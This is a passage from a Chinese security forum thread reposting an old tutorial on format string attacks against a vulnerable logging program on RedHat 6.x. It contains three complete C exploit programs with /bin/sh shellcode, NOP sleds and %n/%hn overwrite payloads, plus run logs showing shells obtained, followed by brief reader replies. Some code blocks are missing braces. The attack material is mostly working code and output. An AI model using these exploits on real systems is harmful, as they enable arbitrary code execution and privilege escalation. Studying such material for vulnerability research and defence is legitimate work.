strncpy(egg, getenv("EGG"), BUFSIZE-1); 
egg[BUFSIZE-1] = '\0';
}
num = argc ;
if(argc > 1) {
for ( i = 1 ; i < num ; i ++ ) {
snprintf(buf, BUFSIZE -1 , "argv[%d] = %.200s", i, argv[i]);
buf[BUFSIZE-1] = '\0';
log(LOG_ALERT, buf); // 这里有问题
printf("argv[%d] = %s \n", i, argv[i]);
}

}
<- end -> 
<- begin -> exp1.c
#include <stdlib.h> 
#include <unistd.h> 
#define DEFAULT_ALIGNMENT 2 
#define DEFAULT_RETLOC 0xbffffadc 
#define DEFAULT_SHELLADDR 0x8049800 //我们的shellcode地址在Heap/BSS段 
#define DEFAULT_BUFFER_SIZE 512 
#define DEFAULT_EGG_SIZE 1024 
#define NOP 0x90 
char shellcode[] = 
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

unsigned long get_esp(void) { 
__asm__("movl %esp,%eax"); 

main(int argc, char *argv[]) { 
char *buff, *ptr, *egg; 
char *env[2];
long retloc = DEFAULT_RETLOC;
long shell_addr = DEFAULT_SHELLADDR;
int align = DEFAULT_ALIGNMENT; 
int bsize = DEFAULT_BUFFER_SIZE, eggsize = DEFAULT_EGG_SIZE; 
int i;

if (argc > 1) sscanf(argv[1],"%x",&retloc); 
if (argc > 2) sscanf(argv[2],"%x",&shell_addr); 
if (argc > 3) align = atoi(argv[3]); 
if (argc > 4) bsize = atoi(argv[4]); 
if (argc > 5) eggsize = atoi(argv[5]); 
printf("Usages: %s <RETloc> <SHELL_addr> <align> <buffsize> <eggsize> \n",argv[0]); 
if (!(buff = malloc(bsize))) { 
printf("Can't allocate memory.\n"); 
exit(0); 

if (!(egg = malloc(eggsize))) { 
printf("Can't allocate memory.\n"); 
exit(0); 

printf("Using RET location address: %#x\n", retloc);
printf("Using Shellcode address: %#x\n", shell_addr); 
ptr = buff; 
memset(buff,'A',4);
i = align;
buff[i] = retloc & 0x000000ff; 
buff[i+1] = (retloc & 0x0000ff00) >> 8; 
buff[i+2] = (retloc & 0x00ff0000) >> 16; 
buff[i+3] = (retloc & 0xff000000) >> 24; 
ptr = buff + i + 4;
for(i = 0 ; i < 4 ; i++ )
{
memcpy(ptr, "%.10u", 5);
ptr += 5;
}
sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);
ptr = egg; 
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) 
*(ptr++) = NOP; 
for (i = 0; i < strlen(shellcode); i++) 
*(ptr++) = shellcode[i]; 
buff[bsize - 1] = '\0'; 
egg[eggsize - 1] = '\0'; 
memcpy(egg, "EGG=", 4); 
env[0] = egg ;
env[1] = (char *)0 ;
execle("./vul1","vul1",buff,NULL,env); 
} /* end of main */ 
<- end -> 
这里唯一改变的就是shellcode的地址指向了Heap/BSS区,它通常在内存区域的低端:
0x8000000以后的地址,这个地址将可以被正确显示,因此就可以正确的覆盖main()的
返回地址,并跳到那里去执行我们的shellcode.这个地址的获取,也可以通过gdb跟踪
得到,这里不再赘述。
[root@rh62 /root]# ./exp1 0xbffffadc 0x8049800
Usages: ./exp1 <RETloc> <SHELL_addr> <align> <buffsize> <eggsize> 
Using RET location address: 0xbffffadc
Using Shellcode address: 0x8049800
argv[1] = AA茭�?.10u%.10u%.10u%.10u%.134518728u%n 
bash# 
很好,成功了!注意在得到#号提示符前,通常需要等待几秒钟,这是因为显示0x8049800
个字符也是颇需要一段时间的.(当然,结果并没有显示在标准输出上) :-)
<2> 攻击方法二:多次覆盖返回地址(1)
====================================
上面的程序只能在RedHat 6.2这样的系统上成功,在RedHat 6.1下它是不能成功的。原因
前面已经提到了。那么是不是在RedHat 6.1下就没有办法了呢?并不是这样的,只要我们动
一下脑筋,就会发现由于这个问题程序自身的特点�我们在RedHat 6.1下也可以成功的进行
攻击。我们看到问题程序vul.c会显示并记录所有用户输入的参数,而制约我们的攻击程序的
因素就是显示的长度,那么如果我们不显示那么长的内容,vsnprintf()是可以正常工作的:
AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n
我们首先想到的时候如何减小shell_addr的值。如果我们将一个shell_addr分成四部分:
shell_addr = (SH1 << 24) + (SH2 << 16) + (SH3 <<8) + SH4
例如,假设在RETloc这个地址中保存有返回地址0x44332211,我们想将这个0x44332211换成
存放shellcode的地址:0xbffffcec,那么我们所对应的SH1,SH2,SH3,SH4就分别是:
SH1 = 0xbf
SH2 = 0xff
SH3 = 0xfc
SH4 = 0xec
我们所要做的就是依次将这四个地址存入RETloc,RETloc+1,RETloc+2,RETloc+3中去,也就是:
AA|RETloc |%.10u%.10u%.10u%.10u%.(SH4-4*10-16)u|%n
AA|RETloc+1|%.10u%.10u%.10u%.10u%.(SH3-4*10-16)u|%n
AA|RETloc+2|%.10u%.10u%.10u%.10u%.(SH2-4*10-16)u|%n
AA|RETloc+3|%.10u%.10u%.10u%.10u%.(SH1-4*10-16)u|%n
注意:我们考虑的是Intel x86的系统,因此,排列顺序是反序的
下图可以让你更清楚的看到每一次覆盖后的变化:
RETloc RETloc+1 RETloc+2 RETloc+3
|0x11 | 0x22 | 0x33 |0x44| 原来存放的地址: 0x44332211
|0xec | 0x00 | 0x00 |0x00| 第一次覆盖SH4: 0x000000ec 
|0xec | 0xfc | 0x00 |0x00| 0x00| 第二次覆盖SH3: 0x0000fcec
|0xec | 0xfc | 0xff |0x00| 0x00| 0x00| 第三次覆盖SH2: 0x00fffcec 
|0xec | 0xfc | 0xff |0xbf| 0x00| 0x00| 0x00| 第四次覆盖SH1: 0xbffffcec
需要特别注意的是:这样四次覆盖之后,将导致原来存放函数参数的地址内容被清零,
例如RETloc+4,RETloc+5,RETloc+6等处,如果该函数在覆盖以后仍然需要访问这几个参
数,可能会导致函数不能正常退出,特别是一些极端依赖函数参数的情况下。
另外一个问题是程序是否允许你连续四次进行覆盖,如果只能覆盖一次,也不能达到我们
的目的,不过我们看到我们的问题程序是会循环从main()的参数中读取并调用log()子函数
,那么我们只要提供四个命令行参数就可以进行四次覆盖了。
<- begin -> exp2.c
#include <stdlib.h> 
#include <unistd.h> 
#define DEFAULT_OFFSET 500 
#define DEFAULT_ALIGNMENT 2 
#define DEFAULT_RETLOC 0xbffffa6c 
#define DEFAULT_BUFFER_SIZE 128 
#define DEFAULT_EGG_SIZE 1024 
#define NOP 0x90 
char shellcode[] = 
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

unsigned long get_esp(void) { 
__asm__("movl %esp,%eax"); 

main(int argc, char *argv[]) { 
char *buff[4], *ptr, *egg; 
char *env[2];
long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr; 
int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT; 
int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE; 
int i,j;
if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 输入RETloc */
if (argc > 2) offset = atoi(argv[2]); 
if (argc > 3) align = atoi(argv[3]); 
if (argc > 4) bsize = atoi(argv[4]); 
if (argc > 5) eggsize = atoi(argv[5]); 
printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]); 
for(i = 0 ; i < 4 ; i++ ) {
if (!(buff[i] = malloc(bsize))) { 
printf("Can't allocate memory.\n"); 
exit(0); 
}

if (!(egg = malloc(eggsize))) { 
printf("Can't allocate memory.\n"); 
exit(0); 

printf("Using RET location address: 0x%x\n", retloc);
shell_addr = get_esp() + offset; /* 计算shellcocde所在的地址 */ 
printf("Using Shellcode address: 0x%x\n", shell_addr); 
for(j = 0; j < 4 ; j++) { 
ptr = buff[j]; 
memset(ptr,'A',4);
ptr += align;
(*ptr++) = retloc & 0x000000ff; /* 填充retloc */ 
(*ptr++) = (retloc & 0x0000ff00) >> 8; 
(*ptr++) = (retloc & 0x00ff0000) >> 16; 
(*ptr++) = (retloc & 0xff000000) >> 24; 
retloc++; /* retloc地址后移一个字节,以便进行下一次覆盖 */
for(i = 0 ; i < 4 ; i++ )
{
memcpy(ptr, "%.10u", 5); /* 输入格式串,调整%n所对应的位置 */
ptr += 5;
}
tmpaddr = (shell_addr >> j*8 ) & 0xff; /* 计算SHj */
if(tmpaddr > 56 ) /* 计算最后一个%nu中的n值 */
sprintf(ptr, "%%.%uu%%n", tmpaddr - 56);
else 
sprintf(ptr, "%%.%uu%%n", 1);

}
ptr = egg; 
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) 
*(ptr++) = NOP; 
for (i = 0; i < strlen(shellcode); i++) 
*(ptr++) = shellcode[i]; 
egg[eggsize - 1] = '\0'; 
memcpy(egg, "EGG=", 4); 
env[0] = egg ;
env[1] = (char *)0 ;
execle("./vul","vul",buff[0],buff[1],buff[2],buff[3],NULL,env); 
} /* end of main */ 
<- end -> 

[root@rh62 /root]# ./exp2
Usages: ./exp2 <RETloc> <offset> <align> <buffsize> <eggsize> 
Using RET location address: 0xbffffa6c
Using Shellcode address: 0xbffffcec
argv[1] = AAl??.10u%.10u%.10u%.10u%.180u%n 
argv[2] = AAm??.10u%.10u%.10u%.10u%.196u%n 
argv[3] = AAn??.10u%.10u%.10u%.10u%.199u%n 
argv[4] = AAo??.10u%.10u%.10u%.10u%.135u%n 
bash# 
注意我们上面的exp2.c中在计算最后一个%.nu时存在一些问题,如果
0 < (tmpaddr - 56) < 10 ,那么%.(tmpaddr-56)u 所显示的长度可能不等于(tmpaddr-56)
,同样如果tmpaddr <= 56 ,那么我们的shellcode的地址就会有偏差,幸运的是,由于我们
的shellcode是存放在环境变量中,它通常在堆栈的高端,地址通常是0xbffff???,只有地址
的最低一个字节才可能出现上面所讲的两种情况,而如果我们的shellcode前面填充了一些
NOP指令的话,那么我们的shellcode地址就有一个范围,只要落在这个范围内,都可以执行
我们的shellcode,因此只要我们在这一段地址内选择一个有效的地址就可以了。
这个程序在RedHat 6.1和RedHat 6.2下都验证通过。
<3> 攻击方法三:多次覆盖返回地址(2)
======================================
有读者可能会说,这个程序的成功依赖于我们可以连续进行四次覆盖。如果只给我们一次
机会,是不是就不行了呢?其实,还有一种方法可以完成我们的任务。基本思路也是分四次
来覆盖,只不过通过一个*printf()就可以完成了,考虑下列这种情况:
|AARET1|AAAARET2|AAAARET3|AAAARET4|%c...%c|%n1c%n|%n2c%n|%n3c%n|%n4c%n
^ ^ ^ ^ | | | | 
| | | |_________________|______|______|______| 
| | |__________________________|______|______| 
| |___________________________________|______| 
|____________________________________________|
我们使用四个%n,它们会依次将4个显示长度保存到对应的地址去。我们如果调整%c的个数,
使第一个%n对应RET1,第二个%n对应RET2,第三个%n对应RET3,第四个%n对应RET4,那么我
们就成功了一半了。当然我们要让:
RET1 = RETloc
RET2 = RETloc + 1 
RET3 = RETloc + 2
RET4 = RETloc + 3 
n1 = SH4 - 1*4 - 12 - 4 - 8*3 
(1*4是4个%c显示的长度,12是"AA"再加上前面的"argv[.."的长度,4是RET1长度,8*3是后
面三组"AAAARET"的长度)
n2 = SH3 - SH4
n3 = SH2 - SH3
n4 = SH1 - SH2 
这样,在碰到第一个%n时,显示总长度就是SH4,碰到第二个%n时,显示总长度就是 SH3,依
此类推。
注意:由于SH1通常等于0xbf(如果是在堆栈中的话),而SH2通常等于0xff,SH1<SH2,
因此我们给SH1加上一个大数0x0100,让它变成0x01BF,这样在进行第四次覆盖的时候:
会将RETloc+4变成0x01,但这通常并不会造成大的影响,RETloc+3仍然被正确的改成了0xbf
RETloc RETloc+1 RETloc+2 RETloc+3 
|0xec | 0xfc | 0xff |0xbf| 0x01| 0x00| 0x00| 第四次覆盖SH1: 0xbffffcec 
因此,我们让n4 = 0x0100 + SH1 - SH2
另外我们的程序中没有使用%.nu的格式而是采用了%nc, 这是因为%nc可以更加准确的决定
我们的显示长度,只要n>0,显示长度总是精确的等于n,这就为我们的计算带来了很大的方
便。(注意不能使用%.nc的格式,这不起作用) 不过%nc会使用空格来填充空白部分,如果
应用程序将空格作为分隔符来解释时,可能会出问题。
<- begin -> exp3.c
#include <stdlib.h> 
#include <unistd.h> 
#define DEFAULT_OFFSET 550 
#define DEFAULT_ALIGNMENT 2 
#define DEFAULT_RETLOC 0xbffffabc 
#define DEFAULT_BUFFER_SIZE 128 
#define DEFAULT_EGG_SIZE 1024 
#define NOP 0x90 
char shellcode[] = 
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

unsigned long get_esp(void) { 
__asm__("movl %esp,%eax"); 

main(int argc, char *argv[]) { 
char *buff, *ptr, *egg; 
char *env[2];
long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr; 
int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT; 
int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE; 
int i,SH1,SH2,SH3,SH4,oldSH4;
if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 输入RETloc */
if (argc > 2) offset = atoi(argv[2]); 
if (argc > 3) align = atoi(argv[3]); 
if (argc > 4) bsize = atoi(argv[4]); 
if (argc > 5) eggsize = atoi(argv[5]); 

printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]); 
if (!(buff = malloc(bsize))) { 
printf("Can't allocate memory.\n"); 
exit(0); 
}

if (!(egg = malloc(eggsize))) { 
printf("Can't allocate memory.\n"); 
exit(0); 

printf("Using RET location address: 0x%x\n", retloc);
shell_addr = get_esp() + offset; /* 计算shellcocde所在的地址 */ 
printf("Using Shellcode address: 0x%x\n", shell_addr); 
SH1 = (shell_addr >> 24) & 0xff;
SH2 = (shell_addr >> 16) & 0xff;
SH3 = (shell_addr >> 8) & 0xff;
SH4 = (shell_addr >> 0) & 0xff;
/* 如果SH4小于44,我们就增大它的值,让它等于44 + 1,以免出现负值 */
if( (SH4 - 4 - 12 - 4 - 8*3) <= 0) { 
oldSH4 = SH4;
SH4 = 4 + 12 + 4 + 8*3 + 1;
printf("Using New Shellcode address: 0x%x\n", shell_addr+SH4-oldSH4); 

ptr = buff; 
for (i = 0; i <4 ; i++, retloc++ ){
memset(ptr,'A',4);
ptr += 4 ;
(*ptr++) = retloc & 0xff; /* 填充retloc+n (n= 0,1,2,3) */ 
(*ptr++) = (retloc >> 8 ) & 0xff ; 
(*ptr++) = (retloc >> 16 ) & 0xff ; 
(*ptr++) = (retloc >> 24 ) & 0xff ; 

for(i = 0 ; i < 4 ; i++ )
{
memcpy(ptr, "%c", 2); /* 输入格式串,调整%n所对应的位置 */
ptr += 2;
}
/* "输入"我们的shellcode地址 */
sprintf(ptr, "%%%uc%%n%%%uc%%n%%%uc%%n%%%uc%%n",(SH4 - 4 - 12 - 4 - 8*3),
(SH3 - SH4),(SH2 - SH3),(0x0100 + SH1 - SH2) );
ptr = egg; 
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) 
*(ptr++) = NOP; 
for (i = 0; i < strlen(shellcode); i++) 
*(ptr++) = shellcode[i]; 
egg[eggsize - 1] = '\0'; 
memcpy(egg, "EGG=", 4); 
env[0] = egg ;
env[1] = (char *)0 ;
execle("./vul","vul",buff + align, NULL,env); 
} /* end of main */ 
<- end -> 
验证一下:
[warning3@rh62 format]$ ./exp3
Usages: ./exp3 <RETloc> <offset> <align> <buffsize> <eggsize> 
Using RET location address: 0xbffffabc
Using Shellcode address: 0xbffffcfa
argv[1] = AA贱��AAAA晋��AAAA菌��AAAA窥�?c%c%c%c%206c%n%2c%n%3c%n%192c%n 
bash$ id
uid=500(warning3) gid=500(warning3) groups=500(warning3)
这个程序在redhat 6.1和redhat 6.2下均验证通过
<4> 攻击方法三:多次覆盖返回地址(利用%hn)
=========================================
在drow的statd-toy.c中又提供了一种方法:利用%hn,它会覆盖一个字的高16位:
main()
{
int a=0x41414141;
printf("a=%#x%hn\n",a,&a);
printf("a=%#x\n",a);
}
[warning3@redhat-6 wuftp]$ ./aa
a=0x41414141
a=0x4141000c
<....>用gdb看一下:
(gdb) b 5
Breakpoint 1 at 0x80483ea: file aa.c, line 5.
(gdb) r 
Starting program: /home/warning3/wuftp/./aa 
a=0x41414141
Breakpoint 1, main () at aa.c:5
5 printf("a=%#x\n",a);
(gdb) p &a
$1 = (int *) 0xbffffcb4
(gdb) x/4b 0xbffffcb4
0xbffffcb4: 0x0c 0x00 0x41 0x41
因此我们只要覆盖两次就可以了,具体的方法和前面相似,有兴趣的读者可以自行测试一下。
这种方法的好处是我们不会覆盖多余的地址,它只覆盖指定地址的两个字节内容!

综合上面的几种方法,我们会看到第三和第四种方法是最通用的,可以适用于各种情况。第
一种和第二种都有其自己的局限性,更多的依赖于应用程序自身的特点。
不过这几种方法都由一个局限,就是必须非常精确的给定存放返回地址的地址:retloc,错一
个字节也不行。这使攻击的成功率大打折扣。回忆一下原来的普通exploit为什么容易成功,
是因为它通常使用一串返回地址来填充堆栈,只要能覆盖返回地址retloc就可以了,并不需要
知道retloc确切的值。而这里,我们必须精确指定retloc,将shellcode地址直接填充到返回地
址中去。而由于retloc的大小和用户环境变量等因素有很大关系,往往不是很确定,所以不是
那么容易就一次成功的。那么如果我们能够指定一串retloc,retloc+4,retloc+8...,分别将
shellcode地址存到这些地址去,那么我们不就可以增大成功的把握了吗?利用第4种方法,使
很容易做到这一点的。具体的操作有兴趣的读者可以自行测试,也可以与我联系。

另外,%n并不仅仅局限于用来覆盖返回地址,也可以用来覆盖某些保存的数据,比如保存
的uid,gid等等。



B1层 发表时间: 12/12 11:17

回复: quest [quest]   版主   登录
忘了说了,这是绿盟 warning3 写的

B2层 发表时间: 12/12 11:20

回复: ypy [ypy]   见习版主   登录
too long

B3层 发表时间: 12/12 12:58

回复: xiean [xiean]   论坛用户   登录
好早的文章了,有几年了。。。

B4层 发表时间: 12/13 12:35

回复: quest [quest]   版主   登录
嘿,一直放硬盘上呢,挺经典的:)


B5层 发表时间: 12/13 13:15

回复: group [group]   论坛用户   登录
我看到内存地址就头晕

B6层 发表时间: 12/13 14:47

论坛: UNIX系统

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号